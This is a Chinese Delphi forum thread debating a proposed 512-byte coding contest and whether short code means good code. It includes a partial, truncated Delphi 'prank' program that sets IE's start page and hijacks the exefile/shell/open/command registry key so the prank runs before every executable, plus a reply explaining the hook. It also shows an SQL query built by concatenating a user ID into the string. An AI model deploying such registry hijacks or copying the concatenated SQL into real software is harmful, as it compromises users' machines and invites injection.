来来来，看看你的水平有多高！——Aimingoo送分项目(超过600大元) (0分)

>>免费得到
应该是“免费学到”吧。[]

在软件工程中，主要是以代码的行数作为衡量程序规摸的主要指标，我觉得非常合理，希望
aimingoo主席能够考虑一下。（计算起来非常简单，而且对名称的长短不会有限制——当然，
前提是禁止在一行中写多句程序）
100..256行以内，可以吗?

要想把玩好程序设计，就不能在放宽限制，我认为512够了！
大家应该记得几年前有个题目叫《程序自己复制自己》吧？人家用C 几行就搞定了，多经典！
我去找找，看能不能找到这个程序，好给大家学学！

关注

[blue]GZ[/blue]

[^]太好了，努力一下，也许下一界能参加。[]
[]不如办个专栏，每年办一次比赛，再设几个奖，什么“最佳创意”什么的？[]

每个提交软件的请注明软件的作用，执行效果，谨防有初学者看不懂程序，
盲目执行软件，造成不可预知的后果.

[][]我做一个来捧场，为489字节[][]
注：本程序还能更小！
程序性质：一个小恶作剧程序
执行效果：强制IE的首页为一个特定的地址
恢复方法：[HKEY_CLASSES_ROOT/exefile/shell/open/command]@="%1 %*"
program a;
uses windows;
const
b='Software/Microsoft/Internet Explorer/Main';
c='Start Page';
d='163.com';
e='exefile/shell/open/command';
f='

look

强烈支持，如果需要，我愿意出1000分。
但我也觉得512字节的限制太大了，可能并不能写出比较实用一些的东西。或者说并不一定
能体现出参赛者的“编程水平和代码风格”
我觉得 [red]尽可能完成一件工作，或者体现某项技巧／技术，或者解释Delphi中某种现象、规则或优势[/red]
应该是评判的重点所在。

哎呀，我看了看我自己写的一堆东西，最少的也有4k以上啊，很多一个单元里光注释就
不止512个字符。我看我还是算了，谁叫我属于那种处处小心，处处考虑周全的人呢？
光为了验证一个输入是否合法就得动用若干行代码。很久以前曾经为自己用9个字节就
完成16进制到10进制的转换就沾沾自喜，可是现在一开始想一个项目，方方面面，林林
总总，一起涌进来，总是感觉程序if语句越多越好似的，那样至少说明考虑问题严谨，
代码出错可能要小得多，各位用过Assert吗，估计大家很少用，把Range Checking打开
吗，大概还不知在何处。
多年的编程经验让我感觉到，程序不是越少越好，而是越精练越好，不是越简单越好
而是考虑的越周全，细节上越复杂越好，在大局上越清晰越好。
做个比方吧，前一段时间大富翁信息中“回答了的问题”用了一个like做计算的，且
不论这个方案的可优化性，你能想出更快，更优化的sql语句来代替吗？
"SELECT Count(*) FROM letters where parent=0 and (expert like '%" &
UID &
"-%' or expert = '" &
UID &
"')"
我改成了
"SELECT Count(*) FROM letters where parent=0 and (expert like '%"+ UID +"-%' or expert like '"+ UID +"') AND (ID IN (SELECT DISTINCT Parent FROM letters WHERE (Parent <> 0) AND (UserFrom = '"+ UID +"' )))"
长了很多，但效率、正确度都大大提高了。这个说明什么，代码长绝对不是坏事，相反
可能是好事情，我们很多人编代码时候嫌累，最好代码一行解决，而实际情况恰恰是不是
如此，一个真正优秀的方案可能代码很多，很精巧，也很复杂，但绝对在效率、速度上非
普通方案可比，这点在我做很多项目时候深有体会。
但是，大道深处又至简，一个非常出色的方案往往可以化复杂为简单，化腐朽为神奇，
达到代码即方案，代码即解释，恍恍乎游刃有余。
注意了，最出色的代码不是代码本身，而是代码体现出来的出神入化的思维和境界。
到达这个境界，代码多少已经不再重要了。
我无意参与竞争，借此机会谈谈心得而已。

我水平不高~~只能投个石子~

[red]我反对！没多大实际意义。[/red]
1。都是PIV的年代，多几行代码有何区别。反而可增加可阅读性，提高效率。
2。关键在代码的规范性。许多被大公司抄的高手就犯在这里。（有的还得意呢！）
3。各位在为不同行业服务，侧重面不同（例如：通讯行业效率要求高，代码必然求精），竞争不公平。
4。鼓励个人能力崇拜，忽视团队精神。
我仍一个酒瓶。反对。

512字节实在太少啦！
不过我会参加的，我很想要那件T shirt

哦~~~~~~~~~
反对的总是有的，而且都会有很好的理由。——如果不是这样，人家也就不反对了。
哈哈。
1. 512字节是很少很少，但不要忘记，我们只计算“有效字节数”，那么，空格或者注释
一类是不算数的。况且，我们现在正在公开征集意见，看是否有必要增加字节数。——
否则，这个竞赛就成了“有闲/有钱人的游戏”了。
2. 国外的确有组织过此类的竞赛，好象比较有名的有两个，一个是4K程序设计大赛。另一
个是Waze程序设计大赛。——人家名字叫不叫这个我不记得。但大意是这样的：前者要求
程序的目标文件不大于4K；后者要求目标文件不大于64K，而且参加者必须是Waze组织成员，
如0Day。但是，我不会认为有人做过我们就不必要再做，人家能用这种方法来锻炼编程实力，
我们怎么就不可以？——我常说，一件没有坏处的事，不论它是否有好处，总之是可以干的
了。哈哈。
3. 我们公司有个程序员，现在是项目经理。他原本是做图形程序开发的，我看过它的一个工
具的代码，OHHHH，我当时差点没有昏倒。——它的代码做得就象方块，每一行几乎都一个样
子，似乎都在不断重复。但是，这些代码的运行效率居然比我见到的所有图形开发包都快！
所以，我绝对同意“一个真正优秀的方案可能代码很多，很精巧，也很复杂，但绝对在效率、速度上非
普通方案可比”、“大道深处又至简，一个非常出色的方案往往可以化复杂为简单，化腐朽为神奇，
达到代码即方案，代码即解释，恍恍乎游刃有余”和“最出色的代码不是代码本身，而是代码体现
出来的出神入化的思维和境界。到达这个境界，代码多少已经不再重要了”这样的观点。
4. 代码的规范性我深有体会。我们公司现在正在展开的也是一个叫“代码格式化规范”的动作。
但我要说的是一个小故事，我的一个组员总是在说我的代码他看不懂，这看不懂那也看不懂；而另
一个组员呢，将我一个写了两年的项目那个去看了一个多月，说懂了。前一个组员总是说我的代码
不“规范”，不“格式化”，用了太多的技巧，不用标准的写法；而后一个组员却什么也不说。两
个组员最大的不同是：前一个组员只有两年的编程经验，而后一个，有十年的编程经验。
如果，如果你用Delphi来写一个“操作系统级程序”，那么，你能用到的“标准的写法”可能没几
个，你可能必须用各种各样的技巧，各种各样离奇的思想。这不是一般人能够想到的做到的。
有兴趣的人可以去看看QString这个字符串处理单元，那绝对是不好读的代码，也绝对精炼，效率也
绝对高。但可能绝对“不标准”、“不规范”。
我并不是反对“代码格式化”，我只是说，我们在这里开展一个竞赛，重点并不是要去格式
化代码，我们的主旨是“写出好的思想”和“好的代码”。那些格式化中存在的各种各样的注释和
格式化用的空格，自然有工具去过滤掉它，你不必关心它们影响你的代码字节数。我考虑将代码字
节数增加到4K，最重要的一个原因也是不想限制大家的思路和对长的、有意义的变量的使用。
5. 这个竞赛的确是在“鼓励提高个人能力”，但绝对没有“忽视团队精神”的意思。哈哈。
我们一直忽略了这点，没有提出来说，算是我的工作失误。其实中国现在的“程序高手”很多，
但真正懂得“软件工作”和组织“团队开发”的人才之又少。事实上我现在也正在学这个，正
在带开发组，正在从最小的“团队”做起。——我自认还做得非常非常差。
印度培养出来的程序员象一个个标准大小的方块，任意多块放在任意位置都是有用的，但缺乏
灵魂；中国培养出来的程序员象一个个钉子，放哪里打都好用，灵气十足，能力十足，但一大
堆钉子放在一起，你的手碰都不敢碰一下。
但中国的程序员在国外却是极好的。因为人家懂得如何组织钉子开发，而不是只懂得如何将方
块“积木”在一起。
不要因为中国没有好的项目管理人员，就要求所有的程序员全变成方块，这是舍本而逐末的事。
6. 好的雕刻师必须先是好的木匠，艺人必须先是匠人。

[]这是个骗局吧！
512个字节？用高级编程语言编最短的程序无论如何也不能小于512个字节的！
不是提问者故意，还是无知！
除非用汇编语言，别无它法！？

我有个建议
首先让参赛者用评判用的程序
先检测一下自己的程序
找个地方让大家Down先？

学习!

to Jams:
你还是看看zjlcc做的代码吧。我仔细统计了一下下，的确只有489个“有效字节”(哈，不多
不少)。zjlcc的方法主要是演示用api来操作注册表，挂'exefile/shell/open/command'来使
其它应用执行前首先调用自身(当前程序a)的方法。至于其它，比如挂'Start Page'，就不用
提了。
程序的精华之处在于最后一行。哈哈。
不过，还是zjlcc出来讲一讲它的设计思想吧。
的确很有意思。想要写病毒的人可以关注一下下了。哈哈哈~~~~~~~~~
对了，zjlcc，你倒是可以写一个统计“有效字数”的小程序呢，你的字数统计那么准确，可能
比我用的方法更简单，可否写一个呢？我想字数也可以控制在512字节内。
——如何？
另外，Jams, Delphi中使用内嵌汇编也是可以的，本次竞赛并不限制这个。

MrMengyi, 那个程序我还没有写呢，我现在的做法只是根据经验来优化和统计字节数。
咳~~~~~~嘿嘿~~~~~~~我们大家邀请zjlcc为大家写一个好不好呀？